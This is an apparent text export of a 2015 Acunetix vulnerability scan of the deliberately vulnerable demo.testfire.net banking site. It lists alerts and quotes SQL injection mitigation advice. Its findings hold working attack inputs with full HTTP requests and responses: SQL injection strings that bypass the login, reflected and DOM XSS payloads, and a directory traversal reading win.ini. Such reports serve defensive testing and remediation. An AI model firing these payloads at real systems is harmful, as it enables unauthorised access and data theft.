Executive Report
Executive Report
Executive Report
1 August, 2015
Developer Report
Scan of http://demo.testfire.net:80/
Scan details
Scan information
Start time
Finish time
Scan time
Profile
8/1/2015 9:32:48 PM
8/1/2015 9:54:17 PM
21 minutes, 29 seconds
Default
Server information
Responsive
Server banner
Server OS
Server technologies
True
Microsoft-IIS/8.0
Windows
ASP.NET
Threat level
Acunetix Threat Level 3
One or more high-severity type vulnerabilities have been discovered by the scanner. A
malicious user can exploit these vulnerabilities and compromise the backend database
and/or deface your website.
Alerts distribution
Total alerts found
72
High
12
Medium
11
Low
16
Informational
33
Knowledge base
List of file extensions
File extensions can provide information on what technologies are being used on this website.
List of file extensions detected:
- aspx => 28 file(s)
- css => 1 file(s)
- asmx => 1 file(s)
- js => 1 file(s)
- txt => 2 file(s)
- swf => 1 file(s)
- htm => 6 file(s)
- xml => 1 file(s)
- rtf => 2 file(s)
Top 10 response times
The files listed below had the slowest response times measured during the crawling process. The average response time
for this site was 499.50 ms. These files could be targetted in denial of service attacks.
1. /bank/queryxpath.aspx, response time 1264 ms
GET /bank/queryxpath.aspx HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://demo.testfire.net/bank/
Acunetix Website Audit
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468; lang=
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63
Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
2. /default.aspx, response time 592 ms
GET /default.aspx HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://demo.testfire.net/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63
Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
3. /comment.aspx, response time 577 ms
POST /comment.aspx HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://demo.testfire.net/feedback.aspx
Content-Length: 101
Content-Type: application/x-www-form-urlencoded
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63
Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
cfile=comments.txt&comments=1&email_addr=3137%20Laguna%20Street&name=scugpasj&subject=1&submit=Submit4
. /bank/ws.asmx, response time 577 ms
GET /bank/ws.asmx?op=IsValidUser HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://demo.testfire.net/bank/ws.asmx
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468; lang=
Acunetix Website Audit
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63
Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
List of files with inputs
These files have at least one input (GET or POST).
- / - 5 inputs
- /search.aspx - 1 inputs
- /default.aspx - 1 inputs
- /bank/login.aspx - 1 inputs
- /bank/ws.asmx - 2 inputs
- /survey_questions.aspx - 1 inputs
- /disclaimer.htm - 1 inputs
- /comment.aspx - 1 inputs
- /subscribe.aspx - 1 inputs
List of authentication pages
This is a list of pages that require HTTP authentication.
- /bank/members
List of external hosts
These hosts were linked from this website but they were not scanned because they are not listed in the list of hosts
allowed.(Settings->Scanners settings->Scanner->List of hosts allowed).
- www.watchfire.com
- fpdownload.macromedia.com
- www.newspapersyndications.tv
- www.cert.org
- www.altoromutual.com
- www.microsoft.com
- www.netscape.com
List of email addresses
List of all email addresses found on this host.
- skipfish@example.com
Alerts summary
Blind SQL Injection
Classification
Base Score: 6.8
CVSS
- Access Vector: Network
- Access Complexity: Medium
- Authentication: None
- Confidentiality Impact: Partial
- Integrity Impact: Partial
- Availability Impact: Partial
CWE-89
CWE
Affected items
/bank/login.aspx
Variation
s2
Variation
s1
1
1
1
Directory traversal
Classification
Base Score: 6.8
CVSS
- Access Vector: Network
- Access Complexity: Medium
- Authentication: None
- Confidentiality Impact: Partial
- Integrity Impact: Partial
- Availability Impact: Partial
CWE-22
CWE
Affected items
/default.aspx
Variation
s1
Variation
s1
Variation
s1
5
SQL injection
Classification
Base Score: 6.8
CVSS
- Access Vector: Network
- Access Complexity: Medium
- Authentication: None
- Confidentiality Impact: Partial
- Integrity Impact: Partial
- Availability Impact: Partial
CWE-89
CWE
Affected items
/bank/login.aspx
/subscribe.aspx
Variation
s2
1
Variation
s2
1
Variation
s1
Directory listing
Classification
Base Score: 5.0
CVSS
- Access Vector: Network
- Access Complexity: Low
- Authentication: None
- Confidentiality Impact: Partial
- Integrity Impact: None
- Availability Impact: None
CWE-538
CWE
Affected items
/bank
/pr
Acunetix Website Audit
Variation
s1
1
6
Variation
s1
1
1
1
Variation
s1
Variation
s1
1
Variation
s1
Variation
s1
Variation
s1
Variation
s1
Variation
s1
Variation
s4
Variation
s5
Broken links
Classification
Base Score: 0.0
CVSS
- Access Vector: Network
- Access Complexity: Low
- Authentication: None
- Confidentiality Impact: None
- Integrity Impact: None
- Availability Impact: None
CWE-16
CWE
Affected items
/bank/account.aspx.cs
/bank/apply.aspx.cs
/bank/bank.master
/bank/bank.master.cs
/bank/customize.aspx.cs
/bank/login.aspx.cs
/bank/logout.aspx.cs
/bank/main.aspx.cs
/bank/queryxpath.aspx.cs
/bank/transaction.aspx.cs
/bank/transfer.aspx.cs
/inside_points_of_interest.htm
Variation
s1
1
1
1
1
1
1
1
1
1
1
1
Variation
s1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
10
Variation
s1
1
1
1
Variation
s1
11
Alert details
Blind SQL Injection
Severity
High
Type
Validation
Reported by module Scripting (Blind_Sql_Injection.script)
Description
This script is possibly vulnerable to SQL Injection attacks.
SQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by manipulating the user input.
An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't
properly filter out dangerous characters.
This is one of the most common application layer attacks currently being used on the Internet. Despite the fact that it is
relatively easy to protect against, there is a large number of web applications vulnerable.
Impact
An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of your
database and/or expose sensitive information.
Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access
for the attacker. It may be possible to not only manipulate existing queries, but to UNION in arbitrary data, use sub
selects, or append additional queries. In some cases, it may be possible to read in or write out to files, or to execute shell
commands on the underlying operating system.
Certain SQL Servers such as Microsoft SQL Server contain stored and extended procedures (database server
functions). If an attacker can obtain access to these procedures it may be possible to compromise the entire machine.
Recommendation
Your script should filter metacharacters from user input.
Check detailed information for more information about fixing this vulnerability.
References
VIDEO: SQL Injection tutorial
OWASP PHP Top 5
SQL Injection Walkthrough
OWASP Injection Flaws
Acunetix SQL Injection Attack
How to check for SQL injection vulnerabilities
Detailed information
Quote from SQL Injection Attacks by Example - http://www.unixwiz.net/techtips/sql-injection.html
SQL injection mitigations
We believe that web application developers often simply do not think about "surprise inputs", but security people do
(including the bad guys), so there are three broad approaches that can be applied here.
Sanitize the input
It's absolutely vital to sanitize user inputs to insure that they do not contain dangerous codes, whether to the SQL server
or to HTML itself. One's first idea is to strip out "bad stuff", such as quotes or semicolons or escapes, but this is a
misguided attempt. Though it's easy to point out some dangerous characters, it's harder to point to all of them.
The language of the web is full of special characters and strange markup (including alternate ways of representing the
same characters), and efforts to authoritatively identify all "bad stuff" are unlikely to be successful.
Instead, rather than "remove known bad data", it's better to "remove everything but known good data": this distinction is
crucial. Since - in our example - an email address can contain only these characters:
Acunetix Website Audit
12
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
0123456789
@.-_+
There is really no benefit in allowing characters that could not be valid, and rejecting them early - presumably with an
error message - not only helps forestall SQL Injection, but also catches mere typos early rather than stores them into the
database.
Be aware that "sanitizing the input" doesn't mean merely "remove the quotes", because even "regular" characters can be
troublesome. In an example where an integer ID value is being compared against the user input (say, a numeric PIN):
SELECT fieldlist
FROM table
WHERE id = 23 OR 1=1; -- Boom! Always matches!
In practice, however, this approach is highly limited because there are so few fields for which it's possible to outright
exclude many of the dangerous characters. For "dates" or "email addresses" or "integers" it may have merit, but for any
kind of real application, one simply cannot avoid the other mitigations.
Escape/Quotesafe the input
Even if one might be able to sanitize a phone number or email address, one cannot take this approach with a "name"
field lest one wishes to exclude the likes of Bill O'Reilly from one's application: a quote is simply a valid character for this
field.
One includes an actual single quote in an SQL string by putting two of them together, so this suggests the obvious - but
wrong! - technique of preprocessing every string to replicate the single quotes:
SELECT fieldlist
FROM customers
WHERE name = 'Bill O''Reilly'; -- works OK
However, this naive approach can be beaten because most databases support other string escape mechanisms.
MySQL, for instance, also permits \' to escape a quote, so after input of \'; DROP TABLE users; -- is "protected" by
doubling the quotes, we get:
SELECT fieldlist
FROM customers
WHERE name = '\''; DROP TABLE users; --'; -- Boom!
The expression '\'' is a complete string (containing just one single quote), and the usual SQL shenanigans follow. It
doesn't stop with backslashes either: there is Unicode, other encodings, and parsing oddities all hiding in the weeds to
trip up the application designer.
Getting quotes right is notoriously difficult, which is why many database interface languages provide a function that does
it for you. When the same internal code is used for "string quoting" and "string parsing", it's much more likely that the
process will be done properly and safely.
Some examples are the MySQL function mysql_real_escape_string() and perl DBD method $dbh->quote($value). These
methods must be used.
Use bound parameters (the PREPARE statement)
Though quotesafing is a good mechanism, we're still in the area of "considering user input as SQL", and a much better
approach exists: bound parameters, which are supported by essentially all database programming interfaces. In this
technique, an SQL statement string is created with placeholders - a question mark for each parameter - and it's compiled
("prepared", in SQL parlance) into an internal form. Later, this prepared query is "executed" with a list of parameters:
Example in perl
Acunetix Website Audit
13
complete control of the webserver doesn't automatically grant full access to everything else. This won't stop everything,
of course, but it makes it a lot harder.
Configure error reporting
The default error reporting for some frameworks includes developer debugging information, and this cannot be shown to
outside users. Imagine how much easier a time it makes for an attacker if the full query is shown, pointing to the syntax
error involved.
This information is useful to developers, but it should be restricted - if possible - to just internal users.
Affected items
/bank/login.aspx
Details
URL encoded POST input passw was set to -1' OR 3*2*1=6 AND 000589=000589 -Tests performed:
- -1' OR 2+589-589-1=0+0+0+1 -- => TRUE
- -1' OR 3+589-589-1=0+0+0+1 -- => FALSE
- -1' OR 3*2<(0+5+589-589) -- => FALSE
- -1' OR 3*2>(0+5+589-589) -- => FALSE
- -1' OR 2+1-1-1=1 AND 000589=000589 -- => TRUE
- -1' OR 000589=000589 AND 3 ... (line truncated)
Request headers
POST /bank/login.aspx HTTP/1.1
Content-Length: 80
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://demo.testfire.net:80/
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468; lang=
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
btnSubmit=Login&passw=-1'%20OR%203*2*1%3d6%20AND%20000589%3d000589%20--%20&uid=1
Response headers
HTTP/1.1 500 Internal Server Error
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 06:59:07 GMT
Connection: close
Content-Length: 5297
15
/bank/login.aspx
Details
URL encoded POST input uid was set to -1' OR 3*2*1=6 AND 000373=000373 -Tests performed:
- -1' OR 2+373-373-1=0+0+0+1 -- => TRUE
- -1' OR 3+373-373-1=0+0+0+1 -- => FALSE
- -1' OR 3*2<(0+5+373-373) -- => FALSE
- -1' OR 3*2>(0+5+373-373) -- => FALSE
- -1' OR 2+1-1-1=1 AND 000373=000373 -- => TRUE
- -1' OR 000373=000373 AND 3+1 ... (line truncated)
Request headers
POST /bank/login.aspx HTTP/1.1
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://demo.testfire.net:80/
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468; lang=
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
btnSubmit=Login&passw=g00dPa%24%24w0rD&uid=-1'%20OR%203*2*1%3d6%20AND%20000373%3d000373%
20--%20
Response headers
HTTP/1.1 302 Found
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 136
Content-Type: text/html; charset=utf-8
Expires: -1
Location: /bank/main.aspx
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
Set-Cookie:
amUserInfo=UserName=LTEnIE9SIDMqMioxPTYgQU5EIDAwMDM3Mz0wMDAzNzMgLS0g&Password=ZzAwZFBhJC
R3MHJE; expires=Thu, 16-Jul-2015 09:59:42 GMT; path=/
Set-Cookie: amUserId=1; path=/
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 06:59:42 GMT
16
XSS hole", they are talking about Cross Site Scripting for certain.
"What are the threats of Cross Site Scripting?"
Often attackers will inject JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable application to fool a user (Read
below for further details) in order to gather data from them. Everything from account hijacking, changing of user settings,
cookie theft/poisoning, or false advertising is possible. New malicious uses are being found every day for XSS attacks.
The post below by Brett Moore brings up a good point with regard to "Denial Of Service", and potential "auto-attacking" of
hosts if a user simply reads a post on a message board.
"What can I do to protect myself as a vendor?"
This is a simple answer. Never trust user input and always filter metacharacters. This will eliminate the majority of XSS
attacks. Converting < and > to < and > is also suggested when it comes to script output. Remember XSS holes can
be damaging and costly to your business if abused. Often attackers will disclose these holes to the public, which can
erode customer and public confidence in the security and privacy of your organization's site. Filtering < and > alone will
not solve all cross site scripting attacks and it is suggested you also attempt to filter out ( and ) by translating them to
( and ), and also # and & by translating them to # (#) and & (&).
"What can I do to protect myself as a user?"
The easiest way to protect yourself as a user is to only follow links from the main website you wish to view. If you visit
one website and it links to CNN for example, instead of clicking on it visit CNN's main site and use its search engine to
find the content. This will probably eliminate ninety percent of the problem. Sometimes XSS can be executed
automatically when you open an email, email attachment, read a guestbook, or bulletin board post. If you plan on
opening an email, or reading a post on a public board from a person you don't know BE CAREFUL. One of the best ways
to protect yourself is to turn off Javascript in your browser settings. In IE turn your security settings to high. This can
prevent cookie theft, and in general is a safer thing to do.
"How common are XSS holes?"
Cross site scripting holes are gaining popularity among hackers as easy holes to find in large websites. Websites from
FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had one
form or another of XSS bugs.
Every month roughly 10-25 XSS holes are found in commercial products and advisories are published explaining the
threat.
"Does encryption protect me?"
Websites that use SSL (https) are in no way more protected than websites that are not encrypted. The web applications
work the same way as before, except the attack is taking place in an encrypted connection. People often think that
because they see the lock on their browser it means everything is secure. This just isn't the case.
"Can XSS holes allow command execution?"
XSS holes can allow Javascript insertion, which may allow for limited execution. If an attacker were to exploit a browser
flaw (browser hole) it could then be possible to execute commands on the client's side. If command execution were
possible it would only be possible on the client side. In simple terms XSS holes can be used to help exploit other holes
that may exist in your browser.
"What if I don't feel like fixing a CSS/XSS Hole?"
By not fixing an XSS hole this could allow possible user account compromise in portions of your site as they get added or
updated. Cross Site Scripting has been found in various large sites recently and have been widely publicized. Left
unrepaired, someone may discover it and publish a warning about your company. This may damage your company's
reputation, depicting it as being lax on security matters. This of course also sends the message to your clients that you
aren't dealing with every problem that arises, which turns into a trust issue. If your client doesn't trust you why would they
wish to do business with you?
Affected items
/bank/login.aspx
Details
URL encoded POST input uid was set to 1" onmouseover=prompt(931034) bad="
The input is reflected inside a tag parameter between double quotes.
Acunetix Website Audit
18
Request headers
POST /bank/login.aspx HTTP/1.1
Content-Length: 90
Content-Type: application/x-www-form-urlencoded
Referer: http://demo.testfire.net:80/
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468; lang=
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
btnSubmit=Login&passw=g00dPa%24%24w0rD&uid=1%22%20onmouseover%3dprompt(931034)%20bad%3d%
22
Response headers
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 8819
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 06:59:03 GMT
/comment.aspx
Details
URL encoded POST input name was set to ctuysydc'"()&%<ScRiPt >prompt(975117)</ScRiPt>
Request headers
POST /comment.aspx HTTP/1.1
Content-Length: 147
Content-Type: application/x-www-form-urlencoded
Referer: http://demo.testfire.net:80/
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468; lang=
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
cfile=comments.txt&comments=1&email_addr=3137%20Laguna%20Street&name=ctuysydc'%22()%26%2
5<ScRiPt%20>prompt(975117)</ScRiPt>&subject=1&submit=Submit
Response headers
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 7235
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 07:00:04 GMT
19
/search.aspx
Details
URL encoded GET input txtSearch was set to the'"()&%<ScRiPt >prompt(922589)</ScRiPt>
Request headers
GET /search.aspx?txtSearch=the'%22()%26%25<ScRiPt%20>prompt(922589)</ScRiPt> HTTP/1.1
Referer: http://demo.testfire.net:80/
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468; lang=
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 7311
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 06:58:32 GMT
/subscribe.aspx
Details
URL encoded POST input txtEmail was set to sample%40email.tst<ScRiPt >prompt(966807)</ScRiPt>
The input is reflected inside a text element.
Request headers
POST /subscribe.aspx HTTP/1.1
Content-Length: 83
Content-Type: application/x-www-form-urlencoded
Referer: http://demo.testfire.net:80/
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468; lang=
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
btnSubmit=Subscribe&txtEmail=sample%2540email.tst<ScRiPt%20>prompt(966807)</ScRiPt>
Response headers
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 8710
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 06:59:37 GMT
20
Directory traversal
Severity
High
Type
Validation
Reported by module Scripting (Directory_Traversal.script)
Description
This script is possibly vulnerable to directory traversal attacks.
Directory Traversal is a vulnerability which allows attackers to access restricted directories and execute commands
outside of the web server's root directory.
Impact
By exploiting directory traversal vulnerabilities, attackers step out of the root directory and access files in other
directories. As a result, attackers might view restricted files or execute commands, leading to a full compromise of the
Web server.
Recommendation
Your script should filter metacharacters from user input.
References
Acunetix Directory Traversal Attacks
Affected items
/default.aspx
Details
URL encoded GET input content was set to ../../../../../../../../../../windows/win.ini%00.htm
File contents found: ; for 16-bit app support
Request headers
GET /default.aspx?content=../../../../../../../../../../windows/win.ini%00.htm HTTP/1.1
Referer: http://demo.testfire.net:80/
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468; lang=
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 7095
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 07:00:38 GMT
21
22
Often people refer to Cross Site Scripting as CSS. There has been a lot of confusion with Cascading Style Sheets (CSS)
and cross site scripting. Some security people refer to Cross Site Scripting as XSS. If you hear someone say "I found a
XSS hole", they are talking about Cross Site Scripting for certain.
"What are the threats of Cross Site Scripting?"
Often attackers will inject JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable application to fool a user (Read
below for further details) in order to gather data from them. Everything from account hijacking, changing of user settings,
cookie theft/poisoning, or false advertising is possible. New malicious uses are being found every day for XSS attacks.
The post below by Brett Moore brings up a good point with regard to "Denial Of Service", and potential "auto-attacking" of
hosts if a user simply reads a post on a message board.
"What can I do to protect myself as a vendor?"
This is a simple answer. Never trust user input and always filter metacharacters. This will eliminate the majority of XSS
attacks. Converting < and > to < and > is also suggested when it comes to script output. Remember XSS holes can
be damaging and costly to your business if abused. Often attackers will disclose these holes to the public, which can
erode customer and public confidence in the security and privacy of your organization's site. Filtering < and > alone will
not solve all cross site scripting attacks and it is suggested you also attempt to filter out ( and ) by translating them to
( and ), and also # and & by translating them to # (#) and & (&).
"What can I do to protect myself as a user?"
The easiest way to protect yourself as a user is to only follow links from the main website you wish to view. If you visit
one website and it links to CNN for example, instead of clicking on it visit CNN's main site and use its search engine to
find the content. This will probably eliminate ninety percent of the problem. Sometimes XSS can be executed
automatically when you open an email, email attachment, read a guestbook, or bulletin board post. If you plan on
opening an email, or reading a post on a public board from a person you don't know BE CAREFUL. One of the best ways
to protect yourself is to turn off Javascript in your browser settings. In IE turn your security settings to high. This can
prevent cookie theft, and in general is a safer thing to do.
"How common are XSS holes?"
Cross site scripting holes are gaining popularity among hackers as easy holes to find in large websites. Websites from
FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had one
form or another of XSS bugs.
Every month roughly 10-25 XSS holes are found in commercial products and advisories are published explaining the
threat.
"Does encryption protect me?"
Websites that use SSL (https) are in no way more protected than websites that are not encrypted. The web applications
work the same way as before, except the attack is taking place in an encrypted connection. People often think that
because they see the lock on their browser it means everything is secure. This just isn't the case.
"Can XSS holes allow command execution?"
XSS holes can allow Javascript insertion, which may allow for limited execution. If an attacker were to exploit a browser
flaw (browser hole) it could then be possible to execute commands on the client's side. If command execution were
possible it would only be possible on the client side. In simple terms XSS holes can be used to help exploit other holes
that may exist in your browser.
"What if I don't feel like fixing a CSS/XSS Hole?"
By not fixing an XSS hole this could allow possible user account compromise in portions of your site as they get added or
updated. Cross Site Scripting has been found in various large sites recently and have been widely publicized. Left
unrepaired, someone may discover it and publish a warning about your company. This may damage your company's
reputation, depicting it as being lax on security matters. This of course also sends the message to your clients that you
aren't dealing with every problem that arises, which turns into a trust issue. If your client doesn't trust you why would they
wish to do business with you?
Affected items
23
/disclaimer.htm
Details
Source: Location
Location:
http://demo.testfire.net/disclaimer.htm?wvstest=javascript:domxssExecutionSink(1,"<br>()locxss")url=javascript:domxss
ExecutionSink(1,"<br>()locxss")&
Execution Sink: document.write
HTML code written: javascript:domxssExecutionSink(1,"<br>()locxss")& ... Stack Trace: at
http://demo.testfire.net/disclaimer.htm?wvstest=javascript:domxssExecutionSink(1,%22%3Cbr%3E()locxss%22)url=java
script:domxssExecutionSink(1,%22%3Cbr%3E()locxss%22)&:34
24
25
SQL injection
Severity
High
Type
Validation
Reported by module Scripting (Sql_Injection.script)
Description
This script is possibly vulnerable to SQL Injection attacks.
SQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by manipulating the user input.
An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't
properly filter out dangerous characters.
This is one of the most common application layer attacks currently being used on the Internet. Despite the fact that it is
relatively easy to protect against, there is a large number of web applications vulnerable.
Impact
An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of your
database and/or expose sensitive information.
Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access
for the attacker. It may be possible to not only manipulate existing queries, but to UNION in arbitrary data, use sub
selects, or append additional queries. In some cases, it may be possible to read in or write out to files, or to execute shell
commands on the underlying operating system.
Certain SQL Servers such as Microsoft SQL Server contain stored and extended procedures (database server
functions). If an attacker can obtain access to these procedures it may be possible to compromise the entire machine.
Recommendation
Your script should filter metacharacters from user input.
Check detailed information for more information about fixing this vulnerability.
References
Acunetix SQL Injection Attack
VIDEO: SQL Injection tutorial
OWASP Injection Flaws
How to check for SQL injection vulnerabilities
SQL Injection Walkthrough
OWASP PHP Top 5
Detailed information
Quote from SQL Injection Attacks by Example - http://www.unixwiz.net/techtips/sql-injection.html
SQL injection mitigations
We believe that web application developers often simply do not think about "surprise inputs", but security people do
(including the bad guys), so there are three broad approaches that can be applied here.
Sanitize the input
It's absolutely vital to sanitize user inputs to insure that they do not contain dangerous codes, whether to the SQL server
or to HTML itself. One's first idea is to strip out "bad stuff", such as quotes or semicolons or escapes, but this is a
misguided attempt. Though it's easy to point out some dangerous characters, it's harder to point to all of them.
The language of the web is full of special characters and strange markup (including alternate ways of representing the
same characters), and efforts to authoritatively identify all "bad stuff" are unlikely to be successful.
Instead, rather than "remove known bad data", it's better to "remove everything but known good data": this distinction is
